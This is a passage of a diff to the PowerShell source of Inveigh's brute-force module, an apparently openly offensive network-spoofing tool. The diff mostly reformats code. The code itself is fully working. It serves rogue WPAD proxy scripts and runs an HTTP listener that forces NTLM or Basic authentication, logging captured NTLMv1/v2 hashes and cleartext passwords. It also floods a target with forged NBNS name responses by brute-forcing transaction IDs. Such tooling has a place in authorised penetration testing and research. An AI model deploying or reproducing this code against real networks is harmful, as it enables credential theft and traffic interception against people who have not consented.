+ $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate
$run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count
$run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count
$run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count
if($WPADIP -and $WPADPort)
{
+
if($WPADDirectHosts)
{
- ForEach($WPAD_direct_host in $WPADDirectHosts)
+
+ foreach($WPAD_direct_host in $WPADDirectHosts)
{
$WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";'
}
@@ -519,6 +569,7 @@ $HTTP_scriptblock =
{
$HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}"
}
+
}
elseif($WPADResponse)
{
@@ -530,14 +581,14 @@ $HTTP_scriptblock =
$TCP_request = $NULL
$TCP_request_bytes = New-Object System.Byte[] 1024
-
$suppress_waiting_message = $false
while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected)
{
+
if(!$suppress_waiting_message)
{
- $inveigh.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection")
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - Waiting for incoming HTTP connection")
$suppress_waiting_message = $true
}
@@ -547,6 +598,7 @@ $HTTP_scriptblock =
{
HTTPListenerStop
}
+
}
if(!$inveigh.HTTP_client.Connected)
@@ -557,7 +609,7 @@ $HTTP_scriptblock =
while ($HTTP_stream.DataAvailable)
{
- $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length)
+ $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length)
}
$TCP_request = [System.BitConverter]::ToString($TCP_request_bytes)
@@ -565,21 +617,22 @@ $HTTP_scriptblock =
if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*")
{
$HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3)
- $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
+ $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
if($NBNSPause)
{
- $inveigh.NBNS_stopwatch = [diagnostics.stopwatch]::StartNew()
+ $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
$inveigh.hostname_spoof = $true
}
+
}
if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*")
{
$HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46)
$HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-"))
- $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
+ $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length)
}
else
@@ -587,15 +640,15 @@ $HTTP_scriptblock =
$authentication_header = ''
}
- if(($HTTP_request_raw_URL -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous'))
+ if($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous')
{
- $HTTP_response_status_code = (0x32,0x30,0x30)
- $HTTP_response_phrase = (0x4f,0x4b)
+ $HTTP_response_status_code = 0x32,0x30,0x30
+ $HTTP_response_phrase = 0x4f,0x4b
}
else
{
- $HTTP_response_status_code = (0x34,0x30,0x31)
- $HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64)
+ $HTTP_response_status_code = 0x34,0x30,0x31
+ $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64
}
$HTTP_type = "HTTP"
@@ -604,19 +657,19 @@ $HTTP_scriptblock =
if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle)
{
- $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)])
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)])
}
if($authentication_header.startswith('NTLM '))
{
$authentication_header = $authentication_header -replace 'NTLM ',''
- [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
- $HTTP_response_status_code = (0x34,0x30,0x31)
+ [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
+ $HTTP_response_status_code = 0x34,0x30,0x31
if ($HTTP_request_bytes[8] -eq 1)
{
- $HTTP_response_status_code = (0x34,0x30,0x31)
+ $HTTP_response_status_code = 0x34,0x30,0x31
$NTLM = NTLMChallengeBase64
}
elseif ($HTTP_request_bytes[8] -eq 3)
@@ -626,8 +679,7 @@ $HTTP_scriptblock =
$HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes
$HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes
$HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes
-
- [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*'
+ [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*'
$inveigh.HTTP_challenge_queue.Remove($NTLM_challenge)
$NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1)
@@ -642,7 +694,6 @@ $HTTP_scriptblock =
$HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes
$HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
-
$HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes
$HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
@@ -652,20 +703,21 @@ $HTTP_scriptblock =
$NTLM_response = $NTLM_response.Insert(48,':')
$inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge
- if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))))
+ if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))))
{
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")])
- $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash)
- $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash)
- $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash)
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")])
+ $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash)
+ $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash)
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash)
if($inveigh.file_output)
{
- $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file)
- }
+ $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file)
+ }
+
}
- $HTTP_response_status_code = (0x32,0x30,0x30)
+ $HTTP_response_status_code = 0x32,0x30,0x30
$HTTP_client_close = $true
$NTLM_challenge = ''
}
@@ -675,23 +727,24 @@ $HTTP_scriptblock =
$NTLM_response = $NTLM_response.Insert(32,':')
$inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response
- if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))))
+ if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))))
{
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")])
- $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash)
- $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash)
- $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash)
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")])
+ $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash)
+ $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash)
+ $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash)
if($inveigh.file_output)
{
- $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file)
+ $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file)
}
}
+
}
- $HTTP_response_status_code = (0x32,0x30,0x30)
- $HTTP_response_phrase = (0x4f,0x4b)
+ $HTTP_response_status_code = 0x32,0x30,0x30
+ $HTTP_response_phrase = 0x4f,0x4b
$NTLM_auth = $true
$HTTP_client_close = $true
$NTLM_challenge = ''
@@ -699,23 +752,25 @@ $HTTP_scriptblock =
else
{
$NTLM = 'NTLM'
- }
+ }
+
}
elseif($authentication_header.startswith('Basic '))
{
- $HTTP_response_status_code = (0x32,0x30,0x30)
- $HTTP_response_phrase = (0x4f,0x4b)
+ $HTTP_response_status_code = 0x32,0x30,0x30
+ $HTTP_response_phrase = 0x4f,0x4b
$authentication_header = $authentication_header -replace 'Basic ',''
$cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header))
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)])
- $inveigh.cleartext_file_queue.add($cleartext_credentials)
- $inveigh.cleartext_list.add($cleartext_credentials)
- $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)])
+ $inveigh.cleartext_file_queue.Add($cleartext_credentials)
+ $inveigh.cleartext_list.Add($cleartext_credentials)
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)
if($inveigh.file_output)
{
- $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file)
- }
+ $inveigh.console_queue.Add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file)
+ }
+
}
$HTTP_timestamp = Get-Date -format r
@@ -741,84 +796,89 @@ $HTTP_scriptblock =
if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth)
{
$NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM)
- $HTTP_message_bytes = (0x0d,0x0a)
+ $HTTP_message_bytes = 0x0d,0x0a
$HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length)
$HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message)
- [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
- + $HTTP_response_status_code`
- + (0x20)`
- + $HTTP_response_phrase`
- + (0x0d,0x0a)`
- + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
- + (0x44,0x61,0x74,0x65,0x3a)`
- + $HTTP_timestamp`
- + (0x0d,0x0a)`
- + $HTTP_WWW_authenticate_header`
- + $NTLM`
- + (0x0d,0x0a)`
- + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
- + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)`
- + $HTTP_content_length_bytes`
- + (0x0d,0x0a)`
- + $HTTP_message_bytes
+ $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 +
+ $HTTP_response_status_code +
+ 0x20 +
+ $HTTP_response_phrase +
+ 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,
+ 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,
+ 0x0a,0x44,0x61,0x74,0x65,0x3a +
+ $HTTP_timestamp +
+ 0x0d,0x0a +
+ $HTTP_WWW_authenticate_header +
+ $NTLM +
+ 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,
+ 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,
+ 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,
+ 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 +
+ $HTTP_content_length_bytes +
+ 0x0d,0x0a +
+ $HTTP_message_bytes
+
}
elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat'))
{
$Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm")
- $HTTP_message_bytes = (0x0d,0x0a)
+ $HTTP_message_bytes = 0x0d,0x0a
$HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length)
$HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message)
$HTTP_client_close = $true
- [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
- + $HTTP_response_status_code`
- + (0x20)`
- + $HTTP_response_phrase`
- + (0x0d,0x0a)`
- + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
- + (0x44,0x61,0x74,0x65,0x3a)`
- + $HTTP_timestamp`
- + (0x0d,0x0a)`
- + $HTTP_WWW_authenticate_header`
- + $Basic`
- + (0x0d,0x0a)`
- + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
- + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)`
- + $HTTP_content_length_bytes`
- + (0x0d,0x0a)`
- + $HTTP_message_bytes
+ $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 +
+ $HTTP_response_status_code +
+ 0x20 +
+ $HTTP_response_phrase +
+ 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,
+ 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,
+ 0x0a,0x44,0x61,0x74,0x65,0x3a +
+ $HTTP_timestamp +
+ 0x0d,0x0a +
+ $HTTP_WWW_authenticate_header +
+ $Basic +
+ 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,
+ 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,
+ 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,
+ 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 +
+ $HTTP_content_length_bytes +
+ 0x0d,0x0a +
+ $HTTP_message_bytes
+
}
else
{
- $HTTP_response_status_code = (0x32,0x30,0x30)
- $HTTP_response_phrase = (0x4f,0x4b)
- $HTTP_message_bytes = (0x0d,0x0a)
+ $HTTP_response_status_code = 0x32,0x30,0x30
+ $HTTP_response_phrase = 0x4f,0x4b
+ $HTTP_message_bytes = 0x0d,0x0a
$HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length)
$HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message)
$HTTP_client_close = $true
- [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
- + $HTTP_response_status_code`
- + (0x20)`
- + $HTTP_response_phrase`
- + (0x0d,0x0a)`
- + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
- + (0x44,0x61,0x74,0x65,0x3a)`
- + $HTTP_timestamp`
- + (0x0d,0x0a)`
- + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
- + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)`
- + $HTTP_content_length_bytes`
- + (0x0d,0x0a)`
- + $HTTP_message_bytes
+ $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 +
+ $HTTP_response_status_code +
+ 0x20 +
+ $HTTP_response_phrase +
+ 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,
+ 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,
+ 0x0a,0x44,0x61,0x74,0x65,0x3a +
+ $HTTP_timestamp +
+ 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,
+ 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,
+ 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,
+ 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 +
+ $HTTP_content_length_bytes +
+ 0x0d,0x0a +
+ $HTTP_message_bytes
}
- $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length)
+ $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length)
$HTTP_stream.Flush()
- start-sleep -m 10
+ Start-Sleep -m 10
$HTTP_request_raw_URL_old = $HTTP_request_raw_URL
- $HTTP_client_handle_old= $inveigh.HTTP_client.Client.Handle
+ $HTTP_client_handle_old = $inveigh.HTTP_client.Client.Handle
if($HTTP_client_close)
{
@@ -827,14 +887,16 @@ $HTTP_scriptblock =
if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext))
{
HTTPListenerStop
- $inveigh.console_queue.add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")])
+ $inveigh.console_queue.Add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")])
$inveigh.bruteforce_running = $false
}
+
}
$HTTP_client_close = $false
}
+
}
$spoofer_scriptblock =
@@ -843,17 +905,19 @@ $spoofer_scriptblock =
$Hostname = $Hostname.ToUpper()
- [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00)
+ $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,
+ 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00
$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
$hostname_encoded = $hostname_encoded.Replace("-","")
$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded)
- $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL)
- [array]::Reverse($NBNS_TTL_bytes)
+ $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
+ [Array]::Reverse($NBNS_TTL_bytes)
- for ($i=0; $i -lt $hostname_encoded.Count; $i++)
+ for($i=0; $i -lt $hostname_encoded.Count; $i++)
{
+
if($hostname_encoded[$i] -gt 64)
{
$hostname_bytes[$i] = $hostname_encoded[$i] + 10
@@ -862,54 +926,59 @@ $spoofer_scriptblock =
{
$hostname_bytes[$i] = $hostname_encoded[$i] + 17
}
+
}
- [Byte[]]$NBNS_response_packet = (0x00,0x00)`
- + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)`
- + $hostname_bytes`
- + (0x00,0x20,0x00,0x01)`
- + $NBNS_TTL_bytes`
- + (0x00,0x06,0x00,0x00)`
- + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()`
- + (0x00,0x00,0x00,0x00)
-
- $inveigh.console_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")])
- $NBNS_paused = $false
-
+ $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 +
+ $hostname_bytes +
+ 0x00,0x20,0x00,0x01 +
+ $NBNS_TTL_bytes +
+ 0x00,0x06,0x00,0x00 +
+ ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
+ 0x00,0x00,0x00,0x00
+
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")])
+ $NBNS_paused = $false
$send_socket = New-Object System.Net.Sockets.UdpClient(137)
- $destination_IP = [system.net.IPAddress]::Parse($SpooferTarget)
+ $destination_IP = [System.Net.IPAddress]::Parse($SpooferTarget)
$destination_point = New-Object Net.IPEndpoint($destination_IP,137)
$send_socket.Connect($destination_point)
while($inveigh.bruteforce_running)
{
+
:NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running)
{
+
if($NBNS_paused)
{
- $inveigh.console_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")])
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")])
$NBNS_paused = $false
}
for ($i = 0; $i -lt 255; $i++)
{
+
for ($j = 0; $j -lt 255; $j++)
{
$NBNS_response_packet[0] = $i
$NBNS_response_packet[1] = $j
- [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length)
+ $send_socket.send( $NBNS_response_packet,$NBNS_response_packet.Length)
if($inveigh.hostname_spoof -and $NBNSPause)
{
- $inveigh.console_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")])
+ $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")])
